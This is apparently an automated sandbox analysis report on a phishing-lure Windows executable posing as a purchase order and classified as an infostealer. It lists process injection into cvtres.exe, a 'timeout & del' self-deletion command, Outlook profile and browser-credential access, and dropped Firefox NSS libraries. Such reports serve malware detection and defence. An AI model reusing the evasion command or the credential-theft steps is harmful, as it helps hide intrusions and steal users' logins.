Source: NUEVA ORDEN-MATSA 10-2022,.exe, 00000000.00000002.250000841.0000000002A4F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameResourceAssembly.dllD vs NUEVA ORDEN-MATSA 10-2022,.exe
Source: NUEVA ORDEN-MATSA 10-2022,.exe, 00000000.00000002.251914030.0000000004A80000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameBROTHERS.dll2 vs NUEVA ORDEN-MATSA 10-2022,.exe
Source: NUEVA ORDEN-MATSA 10-2022,.exe Binary or memory string: OriginalFilenameNMCVXCXMXKJDFGDJKJDF.exeJ vs NUEVA ORDEN-MATSA 10-2022,.exe
PE / OLE file has an invalid certificate
Source: NUEVA ORDEN-MATSA 10-2022,.exe Static PE information: invalid certificate
Source: NUEVA ORDEN-MATSA 10-2022,.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: NUEVA ORDEN-MATSA 10-2022,.exe ReversingLabs: Detection: 27%
Source: NUEVA ORDEN-MATSA 10-2022,.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "cvtres.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe C:\Windows\system32\timeout.exe 3
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "cvtres.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe C:\Windows\system32\timeout.exe 3 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32 Jump to behavior
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\NUEVA ORDEN-MATSA 10-2022,.exe.log Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user~1\AppData\Local\Temp\1C1DB9BC\ Jump to behavior
Source: classification engine Classification label: mal100.phis.troj.spyw.evad.winEXE@8/50@1/1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: softokn3.dll.1.dr Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: softokn3.dll.1.dr Binary or memory string: SELECT ALL %s FROM %s WHERE id=$ID;
Source: softokn3.dll.1.dr Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: softokn3.dll.1.dr Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3.dll.1.dr Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3.dll.1.dr Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3.dll.1.dr Binary or memory string: SELECT ALL id FROM %s;
Source: softokn3.dll.1.dr Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3.dll.1.dr Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: softokn3.dll.1.dr Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: 50760375990489576525014.tmp.1.dr Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: NUEVA ORDEN-MATSA 10-2022,.exe Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_00416B94 LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,CreateToolhelp32Snapshot,Process32FirstW,FindCloseChangeNotification,GetCurrentProcessId, 1_2_00416B94
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Mutant created: \Sessions\1\BaseNamedObjects\AE86A6D5F-9414907A-77BDA8E2-697AC7AD-D0FBBBFB
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4652:120:WilError_01
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook Jump to behavior
Source: NUEVA ORDEN-MATSA 10-2022,.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: NUEVA ORDEN-MATSA 10-2022,.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: NUEVA ORDEN-MATSA 10-2022,.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283784153.000000000825C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283874998.0000000008260000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.268070409.0000000008394000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.268608129.0000000007888000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.268551087.0000000007884000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.284321181.0000000007528000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb source: cvtres.exe, 00000001.00000003.269785480.00000000078CC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.284438762.00000000075FC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.287248341.000000000765C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.285608637.0000000007600000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.286974853.0000000007608000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.286617765.0000000007604000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269714098.0000000007880000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269503745.0000000007880000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: z:\build\build\src\obj-firefox\security\nss3.pdb source: cvtres.exe, 00000001.00000003.271250139.00000000083A0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.270748656.00000000084D0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289068722.00000000076EC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.287286269.0000000007684000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: ucrtbase.pdb source: cvtres.exe, 00000001.00000003.273084362.00000000084C0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289682200.0000000008280000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.275089189.00000000083A0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-file-l1-2-0.pdb source: cvtres.exe, 00000001.00000003.277974574.00000000081D4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.277832553.00000000081D0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.277589930.00000000081C4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.277807355.00000000081CC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.277654923.00000000081C8000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.277992608.00000000081D8000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-memory-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.265401720.0000000008394000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278263471.0000000008204000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: cvtres.exe, 00000001.00000003.284438762.00000000075FC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269369848.00000000078D4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.285608637.0000000007600000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.286974853.0000000007608000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.286617765.0000000007604000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269057239.0000000007878000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269503745.0000000007880000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-debug-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.264246608.0000000008398000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.277589930.00000000081C4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.277807355.00000000081CC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.277654923.00000000081C8000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-debug-l1-1-0.dll.1.dr
Source: Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.283030101.000000000821C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.282787916.0000000008218000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278525765.0000000008210000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.267015957.0000000008394000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278457897.0000000008208000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278497281.000000000820C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283366893.0000000008228000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283409391.000000000822C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283458551.0000000008230000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278263471.0000000008204000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278671132.0000000008214000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283196066.0000000008220000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.283618817.0000000008244000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283698525.000000000824C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283672079.0000000008248000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283746313.0000000008250000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.267832549.0000000008394000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.268762769.0000000007878000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.284414482.00000000075F0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.284181718.00000000075E0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-heap-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.278062158.00000000081E8000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278006231.00000000081E4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278187484.00000000081EC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.264827087.0000000008398000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-util-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.283512359.0000000008234000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283598432.0000000008238000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283030101.000000000821C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.282787916.0000000008218000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278525765.0000000008210000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278457897.0000000008208000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278497281.000000000820C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283366893.0000000008228000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.267278671.0000000008394000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283409391.000000000822C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283458551.0000000008230000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278263471.0000000008204000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278671132.0000000008214000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283196066.0000000008220000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-synch-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.283030101.000000000821C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.282787916.0000000008218000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278525765.0000000008210000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278457897.0000000008208000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278497281.000000000820C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283366893.0000000008228000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.266752483.0000000008394000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278263471.0000000008204000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278671132.0000000008214000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283196066.0000000008220000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.283618817.0000000008244000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283698525.000000000824C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283672079.0000000008248000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.267651225.0000000007870000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: vcruntime140.i386.pdbGCTL source: cvtres.exe, 00000001.00000003.276245137.00000000066AC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289068722.00000000076EC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289451882.000000000781C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.287286269.0000000007684000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.290995859.0000000007858000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289559436.0000000007834000.00000004.00001000.00020000.00000000.sdmp, vcruntime140.dll.1.dr
Source: Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb11 source: cvtres.exe, 00000001.00000003.269785480.00000000078CC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.284438762.00000000075FC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.287248341.000000000765C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.285608637.0000000007600000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.286974853.0000000007608000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.286617765.0000000007604000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269714098.0000000007880000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269503745.0000000007880000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: C:\Users\Administrator\Documents\CryptoObfuscator_Output\NMCVXCXMXKJDFGDJKJDF.pdbBSJB source: NUEVA ORDEN-MATSA 10-2022,.exe
Source: Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.277832553.00000000081D0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.277589930.00000000081C4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.277807355.00000000081CC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.277654923.00000000081C8000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-errorhandling-l1-1-0.dll.1.dr
Source: Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.278525765.0000000008210000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278457897.0000000008208000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278497281.000000000820C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.265957997.0000000007870000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278263471.0000000008204000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: cvtres.exe, 00000001.00000003.284438762.00000000075FC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269369848.00000000078D4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.285608637.0000000007600000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.286974853.0000000007608000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.286617765.0000000007604000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269057239.0000000007878000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269503745.0000000007880000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-console-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.277589930.00000000081C4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-console-l1-1-0.dll.1.dr
Source: Binary string: api-ms-win-crt-private-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.268301473.000000000788C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.268329300.0000000007874000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.284181718.00000000075E0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-private-l1-1-0.dll.1.dr
Source: Binary string: api-ms-win-core-file-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.264406495.0000000008398000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.277974574.00000000081D4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.277832553.00000000081D0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.277589930.00000000081C4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.277807355.00000000081CC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.277654923.00000000081C8000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.283618817.0000000008244000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283672079.0000000008248000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.267505452.0000000008394000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: C:\Users\Administrator\Documents\CryptoObfuscator_Output\NMCVXCXMXKJDFGDJKJDF.pdb source: NUEVA ORDEN-MATSA 10-2022,.exe
Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: cvtres.exe, 00000001.00000003.272644545.00000000066CC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289068722.00000000076EC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289451882.000000000781C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.287286269.0000000007684000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272309123.0000000006694000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272757796.00000000066A4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289559436.0000000007834000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.1.dr
Source: Binary string: msvcp140.i386.pdb source: cvtres.exe, 00000001.00000003.287286269.0000000007684000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.270034811.0000000007870000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.270237118.0000000006694000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-profile-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.282787916.0000000008218000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278525765.0000000008210000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.266283140.0000000007870000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278457897.0000000008208000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278497281.000000000820C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278263471.0000000008204000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278671132.0000000008214000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: ucrtbase.pdbUGP source: cvtres.exe, 00000001.00000003.273084362.00000000084C0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289682200.0000000008280000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.275089189.00000000083A0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-time-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.284438762.00000000075FC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.285608637.0000000007600000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb-- source: cvtres.exe, 00000001.00000003.289068722.00000000076EC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289451882.000000000781C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.287286269.0000000007684000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272309123.0000000006694000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272210606.00000000083A0000.00000004.00001000.00020000.00000000.sdmp, nssdbm3.dll.1.dr
Source: Binary string: api-ms-win-core-handle-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.278062158.00000000081E8000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278006231.00000000081E4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-handle-l1-1-0.dll.1.dr
